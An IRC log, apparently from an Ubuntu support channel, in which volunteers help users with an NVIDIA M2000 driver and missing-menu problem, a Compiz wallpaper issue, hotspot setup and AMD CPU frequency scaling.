[23:15] <jnewt> http://termbin.com/t3io
[23:16] <dorkmafia> for a cpu with two physical processors is ubuntu desktop or ubuntu server a better fit?
[23:16] <k1l_> dorkmafia: both use the same kernel and base system
[23:16] <dorkmafia> k
[23:18] <jnewt> k1l_, does that not seem long enough?
[23:18] <k1l_> jnewt: yes, that is the full log. but i dont see obvious errors there
[23:19] <jnewt> I do have both monitors working now, and a mouse pointer though, so that's nice.
[23:20] <telunus> I'm running a custom session with Compiz as my window manager and cairo-dock to launch things, but something else is drawing a wallpaper (which means that cube transparency isn't working with compiz).  Any thoughts on what it could be?
[23:20] <k1l_> jnewt: you could try to use the other nvidia driver offered in the system settings and see if that works better
[23:20] <jnewt> k1l_: i only had two selections in the menu (when i could get to the menu's (one was the X Server noveau and the other was nvidia binary)
[23:21] <k1l_> jnewt: hmm, ok. what card is it?
[23:21] <jnewt> k1l_: m2000
[23:22] <k1l_> ok, that should be supported since 361 driver
[23:24] <Msk> hi  ho
[23:24] <jnewt> k1l_: i wonder if the resolution could be messed up to the point where the bars are off the screen?
[23:24] <jnewt> although my mouse won't go off the screen, so maybe not
[23:25] <k1l_> jnewt: yes, but you could click it there and get the menue then
[23:26] <jnewt> i def can't get any menus clicking around at the top or bottom
[23:26] <jnewt> could it be something with other hardware? mobo, proc, etc drivers?
[23:28] <telunus> Here are my processes in case it helps see what might be painting a wallpaper, but I don't seem to see anything there that should be.  http://paste.ubuntu.com/23866391/
[23:28] <jnewt> well, monitors are 1920x1080, and xrandr | fgrep '*' says 1920x1080
[23:29] <kk4ewt> jnewt, what DE
[23:29] <jnewt> mate
[23:30] <kk4ewt> thats strange
[23:30] <kk4ewt> fpaste --sysinfo
[23:30] <k1l_> jnewt: you could try to rename the .config folder from that user and see if it works after relogin
[23:31] <kk4ewt> k11 or try a new user
[23:32] <jnewt> kk4ewt: tried guest account, same
[23:32] <kk4ewt> jnewt,  make a new user and try that
[23:32] <humoroustwo> Hello, I'm having an issue creating a hotspot on ubuntu 16.10. On the networkmanager widget, it just shows the 'connecting' animation, then connects back to the default access point
[23:32] <k1l_> i still think this is driver related.
[23:33] <k1l_> jnewt: you could add this ppa https://launchpad.net/~graphics-drivers/+archive/ubuntu/ppa?field.series_filter=xenial and install the nvidia 378 for testing
[23:42] <Msk> ?
[23:43] <Msk> hi hi
[23:43] <k1l_> hi
[23:51] <armanzo> hello
[23:51] <armanzo> night
[23:52] <HumanAI> afternoon
[23:56] <HumanAI> is this the darkweb?
[23:56] <bazhang> no
[23:56] <bazhang> HumanAI, ubuntu support issue?
[23:57] <exad> does anyone know how I could go about changing /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_frequencies and scaling_max_freq to match the actual speed of my cpu? I managed to change scaling_governor to performance since it wouldn't scale up under load. but I get permission denied even using su to push a script.
[23:57] <jnewt> k1l_: i've added the ppa and ran apt-get update.  where can i switch between the different available drivers now that i have no menus?
[23:58] <Ben64> exad: those aren't changeable
[23:58] <HumanAI> let bazhang anser it pls
[23:58] <k1l_> jnewt: sudo apt purge nvidia..... package. then install the nvidia package named on the ppa page i linked.
[23:58] <bazhang> HumanAI, don't do that here
[23:58] <exad> Ben64: is there a way to get it to recognize the 4ghz speed? It's stuck at 3.3ghz which is even lower than the stock clock.
[23:58] <Ben64> exad: what cpu is it
[23:59] <bazhang> chatter somewhere else HumanAI
[23:59] <HumanAI> thats what you get for being friendlly
[23:59] <exad> an amd fx 8320
[23:59] <Ben64> and what does scaling_available_frequencies say
[23:59] <jnewt> k1l_: i don't have the nvidia pacakge, so purge didn't do anything.  i did follow the instructions on the page you linked